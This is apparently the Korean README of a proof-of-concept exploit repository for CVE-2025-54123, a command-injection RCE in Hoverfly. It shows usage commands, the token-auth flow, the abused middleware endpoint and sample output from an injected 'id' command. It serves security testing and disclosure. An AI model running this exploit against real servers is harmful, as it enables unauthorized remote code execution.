CVE-2025-54123 Hoverfly 명령 주입을 통한 RCE PoC

개요

이 저장소는 CVE-2025-54123의 영향을 받는 Hoverfly 인스턴스와 상호작용하기 위한 Python PoC(개념 증명) 스크립트를 포함합니다.

스크립트는 다음을 지원합니다:

• 사용자 이름/비밀번호 자격 증명을 사용한 인증
• 기존 Bearer 토큰을 사용한 인증
• Hoverfly 미들웨어 API 엔드포인트와의 상호작용
• API 응답 출력 표시

경고

이 프로젝트는 승인된 보안 연구, 테스트 및 교육 목적으로만 사용됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

---

요구 사항

• Python 3.8+
• requests

의존성 설치:

pip install requests

---

사용법

자격 증명을 사용한 인증

python CVE-2025-54123.py \
  --target example.com \
  --port 8888 \
  -u admin \
  -p password \
  --cmd "id"

기존 토큰을 사용한 인증

python CVE-2025-54123.py \
  --target example.com \
  --port 8888 \
  --token <ACCESS_TOKEN> \
  --cmd "id"

---

인자

인자	설명
--target	대상 도메인 또는 IP 주소
--port	대상 서비스 포트
-u	Hoverfly 사용자 이름
-p	Hoverfly 비밀번호
--token	기존 Bearer 토큰
--cmd	미들웨어 엔드포인트에 전달할 명령 문자열

---

인증 흐름

자격 증명이 제공되면:

1. POST 요청이 다음 주소로 전송됩니다:

/api/token-auth

2. 반환된 토큰이 추출됩니다.
3. 토큰은 후속 요청을 인증하는 데 사용됩니다.

---

API 엔드포인트

스크립트는 인증된 PUT 요청을 사용하여 다음 엔드포인트와 통신합니다:

/api/v2/hoverfly/middleware

---

예시 출력

Approaching target : example.com
Attempting login to http://example.com:8888/api/token-auth
Checking Credentials....
Login Successful!
Injected : id
uid=1000(user) gid=1000(user)

---

프로젝트 구조

.
├── CVE-2025-54123.py
└── README.md

---

면책 조항

이 저장소는 교육적 목적, 방어적 보안 및 승인된 테스트 용도로만 제공됩니다. 저자는 이 소프트웨어의 사용으로 인한 오용, 손해 또는 법적 결과에 대해 책임을 지지 않습니다.